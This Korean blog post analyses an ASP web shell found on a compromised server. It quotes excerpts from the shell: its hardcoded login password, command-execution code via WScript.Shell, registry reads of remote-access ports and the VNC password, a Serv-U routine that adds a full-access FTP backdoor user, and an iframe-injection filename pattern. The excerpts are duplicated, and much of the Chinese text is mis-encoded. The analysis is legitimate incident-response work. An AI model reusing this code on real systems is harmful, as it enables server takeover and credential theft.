실제 해킹을 당했던 서버는, 아래 설명되는 툴을 이용해서 서버에 설치된 FTP 서버중 하나인 Sever-U 의 명령줄 기능을 이용해서 추가적인 백도어 설치를 한 경우 입니다.
asp 파일은 올리지 않겠습니다. 뭐 중국어권 인터넷에서 쉽게 구할수 있는 내용이지만 2차 해킹에 이용이 가능하므로..., 더군다나 그 기능이 워낙 강력해서....-_-;;
<그림. 로그인 화면>
로그인 패스워드는 소스코드를 열어보면,.
hu="AD=chr(34)&&&&&&&&&&&chr(34)貊Copyright=chr(34)鬼羚-----膽뺏경，헝蕎痰黨렷랬痰槁!chr(34)貊mName=chr(34)Fuck the world! (膽뺏경)chr(34) 貊UserPass=chr(34)wocaonimadebchr(34)貊"
hu = Replace(hu, "chr(34)", chr(34))
hu = Replace(hu, "chr(39)", chr(39))
hu = Replace(hu, "chr(34)", chr(34))
hu = Replace(hu, "chr(39)", chr(39))
소스 코드를 열어보면 정말 다양한 기능이 있음을 알수 있지만, 일단 로그인을 하면 대략 눈 앞에 펼쳐져 보이는 내용을 둘러 보는게...
각 부분을 살펴보기 전에 asp 파일을 이용해서 위와 같은 디렉토리 내용을 가져 올수 있는 이유는 해당 서버에 권한 설정값이 너무 유연? 아니 너무 제한이 없기 때문입니다.
1번. 이 부분은 여러가지 다양한 기능을 수행할수 있는 메뉴들 입니다. 그럼 소스 코드를 대충 살펴 보면 어떤 기능을 가능하지 볼까요?..
ObT(0,0) = "Scripting.FileSystemObject"
ObT(0,2) = "匡숭꾸鱗莉숭"
ObT(1,0) = "wscript.shell"
ObT(1,2) = "츱즈契獵契莉숭"
ObT(2,0) = "ADOX.Catalog"
ObT(2,2) = "ACCESS쉔욋莉숭"
ObT(3,0) = "JRO.JetEngine"
ObT(3,2) = "ACCESS箕鍵莉숭"
ObT(4,0) = "Scripting.Dictionary"
ObT(4,2) = "鑒앴직눈릅燎莉숭"
ObT(5,0) = "Adodb.connection"
ObT(5,2) = "鑒앴욋젯쌈莉숭"
ObT(6,0) = "Adodb.Stream"
ObT(6,2) = "鑒앴직눈莉숭"
ObT(7,0) = "SoftArtisans.FileUp"
ObT(7,2) = "SA-FileUp 匡숭눈莉숭"
ObT(8,0) = "LyfUpload.UploadFile"
ObT(8,2) = "증暾룟匡숭눈莉숭"
ObT(9,0) = "Persits.Upload.1"
ObT(9,2) = "ASPUpload 匡숭눈莉숭"
ObT(10,0) = "JMail.SmtpMail"
ObT(10,2) = "JMail 錟숭澗랙莉숭"
ObT(11,0) = "CDONTS.NewMail"
ObT(11,2) = "肯콰SMTP랙斤莉숭"
ObT(12,0) = "SmtpMail.SmtpMail.1"
ObT(12,2) = "SmtpMail랙斤莉숭"
ObT(13,0) = "Microsoft.XMLHTTP"
ObT(13,2) = "鑒앴눈渴莉숭"
ObT(0,2) = "匡숭꾸鱗莉숭"
ObT(1,0) = "wscript.shell"
ObT(1,2) = "츱즈契獵契莉숭"
ObT(2,0) = "ADOX.Catalog"
ObT(2,2) = "ACCESS쉔욋莉숭"
ObT(3,0) = "JRO.JetEngine"
ObT(3,2) = "ACCESS箕鍵莉숭"
ObT(4,0) = "Scripting.Dictionary"
ObT(4,2) = "鑒앴직눈릅燎莉숭"
ObT(5,0) = "Adodb.connection"
ObT(5,2) = "鑒앴욋젯쌈莉숭"
ObT(6,0) = "Adodb.Stream"
ObT(6,2) = "鑒앴직눈莉숭"
ObT(7,0) = "SoftArtisans.FileUp"
ObT(7,2) = "SA-FileUp 匡숭눈莉숭"
ObT(8,0) = "LyfUpload.UploadFile"
ObT(8,2) = "증暾룟匡숭눈莉숭"
ObT(9,0) = "Persits.Upload.1"
ObT(9,2) = "ASPUpload 匡숭눈莉숭"
ObT(10,0) = "JMail.SmtpMail"
ObT(10,2) = "JMail 錟숭澗랙莉숭"
ObT(11,0) = "CDONTS.NewMail"
ObT(11,2) = "肯콰SMTP랙斤莉숭"
ObT(12,0) = "SmtpMail.SmtpMail.1"
ObT(12,2) = "SmtpMail랙斤莉숭"
ObT(13,0) = "Microsoft.XMLHTTP"
ObT(13,2) = "鑒앴눈渴莉숭"
소스코드에서는 와 14가지 객체를 이용하는 코드가 구현되어 있습니다. 파일 I/O 작업, 스크립트 실행, 컴포넌트, 메일, Soap 통신.. 그리고 알수 없는 추가 컴포넌트....
물론,. 이러한 기능 항목에 해당 컴포넌트나 객체의 인스턴스 생성이 가능한 항목을 이용하겠지요.
2번. 3번 항목과 함께 웹 인터페이스로 구현을 해놓은 디렉토리 탐색기 입니다. 2번은 현재 위치의 디렉토리 목록이며 디렉토리명 클릭시 이동이 가능합니다.
3번은 현재 위치의 디렉토리에 있는 파일 리스트 입니다. 웹사이트 구조를 한눈에 파악할수 있을 뿐만 아니라 "부모경로 허용" 이 되어 있고 권한 설정이 잘 되어 있지 않다면 C:\ 도 자유자재로 넘나들수 있습니다.
그런데 여기서 단순하게 탐색기 기능만 가능한 것은 아닙니다. 실제 폴더나 파일명은 [Copy Del Move Down] 4가지 조작이 가능합니다.
물론 SQL 조작 기능은 기본이겠고요..
javascript:ShowFolder("""&RePath(WWWRoot)&""")
javascript:ShowFolder("""&RePath(RootPath)&""")
javascript:ShowFolder(""C:\\Progra~1"")
javascript:ShowFolder(""C:\\Docume~1"")
javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\Application Data\\Symantec\\pcAnywhere"")
javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\「역迦」꽉데\\넋埼"")
javascript:FullForm("""&RePath(Session("FolderPath")&"\NewFolder")&""",""NewFolder"")
javascript:FullForm("""&RePath(Session("FolderPath")&"\New.mdb")&""",""CreateMdb"")
javascript:FullForm("""&RePath(Session("FolderPath")&"\data.mdb")&""",""CompactMdb"")
Action=ouou' target='FileFrame'
Action=Course' target='FileFrame'
Action=ServerInfo' target='FileFrame'
Action=fuck' target='FileFrame'
if Instr(Pathinfo,"perl") Then Response.Write "<li>Perl신굶:連넣<br>"
if instr(Pathinfo,"java") Then Response.Write "<li>Java신굶:連넣<br>"
if instr(Pathinfo,"microsoft sql server") Then Response.Write "<li>MSSQL鑒앴욋륩蛟:連넣<br>"
if instr(Pathinfo,"mysql") Then Response.Write "<li>MySQL鑒앴욋륩蛟:連넣<br>"
if instr(Pathinfo,"oracle") Then Response.Write "<li>Oracle鑒앴욋륩蛟:連넣<br>"
if instr(Pathinfo,"cfusionmx7") Then Response.Write "<li>CFM륩蛟포:連넣<br>"
if instr(Pathinfo,"pcanywhere") Then Response.Write "<li>힙쳔屆옹PcAnywhere왠齡:連넣<br>"
if instr(Pathinfo,"Kill") Then Response.Write "<li>Kill뗀흡숭:連넣<br>"
if instr(Pathinfo,"kav") Then Response.Write "<li>쏜溝죗뗀흡숭:連넣<br>"
if instr(Pathinfo,"antivirus") Then Response.Write "<li>힙쳔屆옹뗀흡숭:連넣<br>"
if instr(Pathinfo,"rising") Then Response.Write "<li>흩槿溝죗뗀흡숭:連넣<br>"
Action=hook' target='FileFrame'
Action=gody' target='FileFrame'
if objService.Name="Serv-U" Then
if objService.ServiceAccountName="LocalSystem" Then
if lcase(objService.Name)="apache2.2" or lcase(objService.Name)="apache" Then
if instr(lcase(objService.Name),"tomcat") Then
if objService.ServiceAccountName="LocalSystem" Then
if instr(lcase(objService.Name),"winmail") Then
Action=getTerminalInfo' target='FileFrame'
Set wsh = Server.CreateObject("WScript.Shell")
Telnetkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\TelnetPort"
TlntPort=Wsh.RegRead(TelnetKey)
if TlntPort="" Then Tlnt="23"
Response.Write "<li>Telnet똥왯:"&Tlntport&"<br>"
TermKey="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\
Wds\rdpwd\Tds\tcp\PortNumber"
TermPort=Wsh.RegRead(TermKey)
If TermPort="" Then TermPort="轟랬뗍혤.헝횅훰角뤠槨Windows Server경굶寮샙"
Response.Write "<li>Terminal Service똥왯槨:"&TermPort&"<br>"
pcAnywhereKey="HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\
CurrentVersion\System\TCPIPDataPort"
PAWPort=Wsh.RegRead(pcAnywhereKey)
If PAWPort="" then PAWPort="轟랬삿혤.헝횅훰寮샙角뤠갛陋pcAnywhere"
Response.Write "<li>PcAnywhere똥왯槨:"&PAWPort&"<br>"
Action=fish' target='FileFrame'
Action=ScanPort' target='FileFrame
Action=Cmd1Shell' target='FileFrame'
If Request.Form("cmd")<>"" Then
if Request.Form("wscript")="yes" then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&" /c "&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
Action=UpFile' target='FileFrame'
Action=searchfile' target='FileFrame'
Action=Servu' target='FileFrame'
loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=webserver" & vbCrLf & "-Password=hook" & vbCrLf & _
"-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _
"-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _
"-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _
"-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _
"-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _
"-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf
Action=ReadREG' target='FileFrame'
RRS "<input name=thePath value='HKCU\Software\ORL\WinVNC3\Password' size=80>"
PortList="21,23,25,53,80,110,135,139,445,1433,1521,1723,2976,3306,3389,4899,5631,5800,
5900,8000,8080,8383,43958"
Action=kmuma' target='FileFrame'
Action=Cplgm&M=1' target='FileFrame'
Action=Cplgm&M=2' target='FileFrame'
Action=Cplgm&M=3' target='FileFrame'
Action=plgm' target='FileFrame'
다음과 같은 파일명들에 iframe 삽입
retVal=IsPattern("('file://\\|\/)(default|index|conn|admin|bbs|reg|help|upfile|upload|cart|class|login|diy|no|ok|del|config|
sql|user|ubb|ftp|asp|top|new|open|name|email|img|images|web|blog|save|data|add|edit|
game|about|manager|book|bt|
config|mp3|vod|error|copy|move|down|system|logo|QQ|520|newup|myup|play|show|
view|ip|err404|send|foot|char|info|list|
shop|err|nc|ad|flash|text|admin_upfile|admin_upload|upfile_load|upfile_soft|upfile_photo|
upfile_softpic|vip|505)\.(htm|html|asp|php|jsp|aspx|cgi|js)\b",agr'>
javascript:ShowFolder("""&RePath(RootPath)&""")
javascript:ShowFolder(""C:\\Progra~1"")
javascript:ShowFolder(""C:\\Docume~1"")
javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\Application Data\\Symantec\\pcAnywhere"")
javascript:ShowFolder(""C:\\Documents and Settings\\All Users\\「역迦」꽉데\\넋埼"")
javascript:FullForm("""&RePath(Session("FolderPath")&"\NewFolder")&""",""NewFolder"")
javascript:FullForm("""&RePath(Session("FolderPath")&"\New.mdb")&""",""CreateMdb"")
javascript:FullForm("""&RePath(Session("FolderPath")&"\data.mdb")&""",""CompactMdb"")
Action=ouou' target='FileFrame'
Action=Course' target='FileFrame'
Action=ServerInfo' target='FileFrame'
Action=fuck' target='FileFrame'
if Instr(Pathinfo,"perl") Then Response.Write "<li>Perl신굶:連넣<br>"
if instr(Pathinfo,"java") Then Response.Write "<li>Java신굶:連넣<br>"
if instr(Pathinfo,"microsoft sql server") Then Response.Write "<li>MSSQL鑒앴욋륩蛟:連넣<br>"
if instr(Pathinfo,"mysql") Then Response.Write "<li>MySQL鑒앴욋륩蛟:連넣<br>"
if instr(Pathinfo,"oracle") Then Response.Write "<li>Oracle鑒앴욋륩蛟:連넣<br>"
if instr(Pathinfo,"cfusionmx7") Then Response.Write "<li>CFM륩蛟포:連넣<br>"
if instr(Pathinfo,"pcanywhere") Then Response.Write "<li>힙쳔屆옹PcAnywhere왠齡:連넣<br>"
if instr(Pathinfo,"Kill") Then Response.Write "<li>Kill뗀흡숭:連넣<br>"
if instr(Pathinfo,"kav") Then Response.Write "<li>쏜溝죗뗀흡숭:連넣<br>"
if instr(Pathinfo,"antivirus") Then Response.Write "<li>힙쳔屆옹뗀흡숭:連넣<br>"
if instr(Pathinfo,"rising") Then Response.Write "<li>흩槿溝죗뗀흡숭:連넣<br>"
Action=hook' target='FileFrame'
Action=gody' target='FileFrame'
if objService.Name="Serv-U" Then
if objService.ServiceAccountName="LocalSystem" Then
if lcase(objService.Name)="apache2.2" or lcase(objService.Name)="apache" Then
if instr(lcase(objService.Name),"tomcat") Then
if objService.ServiceAccountName="LocalSystem" Then
if instr(lcase(objService.Name),"winmail") Then
Action=getTerminalInfo' target='FileFrame'
Set wsh = Server.CreateObject("WScript.Shell")
Telnetkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\TelnetPort"
TlntPort=Wsh.RegRead(TelnetKey)
if TlntPort="" Then Tlnt="23"
Response.Write "<li>Telnet똥왯:"&Tlntport&"<br>"
TermKey="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\
Wds\rdpwd\Tds\tcp\PortNumber"
TermPort=Wsh.RegRead(TermKey)
If TermPort="" Then TermPort="轟랬뗍혤.헝횅훰角뤠槨Windows Server경굶寮샙"
Response.Write "<li>Terminal Service똥왯槨:"&TermPort&"<br>"
pcAnywhereKey="HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\
CurrentVersion\System\TCPIPDataPort"
PAWPort=Wsh.RegRead(pcAnywhereKey)
If PAWPort="" then PAWPort="轟랬삿혤.헝횅훰寮샙角뤠갛陋pcAnywhere"
Response.Write "<li>PcAnywhere똥왯槨:"&PAWPort&"<br>"
Action=fish' target='FileFrame'
Action=ScanPort' target='FileFrame
Action=Cmd1Shell' target='FileFrame'
If Request.Form("cmd")<>"" Then
if Request.Form("wscript")="yes" then
Set CM=CreateObject(ObT(1,0))
Set DD=CM.exec(ShellPath&" /c "&DefCmd)
aaa=DD.stdout.readall
SI=SI&aaa
Action=UpFile' target='FileFrame'
Action=searchfile' target='FileFrame'
Action=Servu' target='FileFrame'
loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=webserver" & vbCrLf & "-Password=hook" & vbCrLf & _
"-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _
"-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _
"-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _
"-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _
"-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _
"-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf
Action=ReadREG' target='FileFrame'
RRS "<input name=thePath value='HKCU\Software\ORL\WinVNC3\Password' size=80>"
PortList="21,23,25,53,80,110,135,139,445,1433,1521,1723,2976,3306,3389,4899,5631,5800,
5900,8000,8080,8383,43958"
Action=kmuma' target='FileFrame'
Action=Cplgm&M=1' target='FileFrame'
Action=Cplgm&M=2' target='FileFrame'
Action=Cplgm&M=3' target='FileFrame'
Action=plgm' target='FileFrame'
다음과 같은 파일명들에 iframe 삽입
retVal=IsPattern("('file://\\|\/)(default|index|conn|admin|bbs|reg|help|upfile|upload|cart|class|login|diy|no|ok|del|config|
sql|user|ubb|ftp|asp|top|new|open|name|email|img|images|web|blog|save|data|add|edit|
game|about|manager|book|bt|
config|mp3|vod|error|copy|move|down|system|logo|QQ|520|newup|myup|play|show|
view|ip|err404|send|foot|char|info|list|
shop|err|nc|ad|flash|text|admin_upfile|admin_upload|upfile_load|upfile_soft|upfile_photo|
upfile_softpic|vip|505)\.(htm|html|asp|php|jsp|aspx|cgi|js)\b",agr'>
이정도 기능을 가진 파일이 업로드된 상태에서,
웹익명 계정에 대해서 권한이 취약하게 되어 있다면 게임 오버!....
01-web-hack-1.gif
01-web-hack-2.gif
댓글 없음:
댓글 쓰기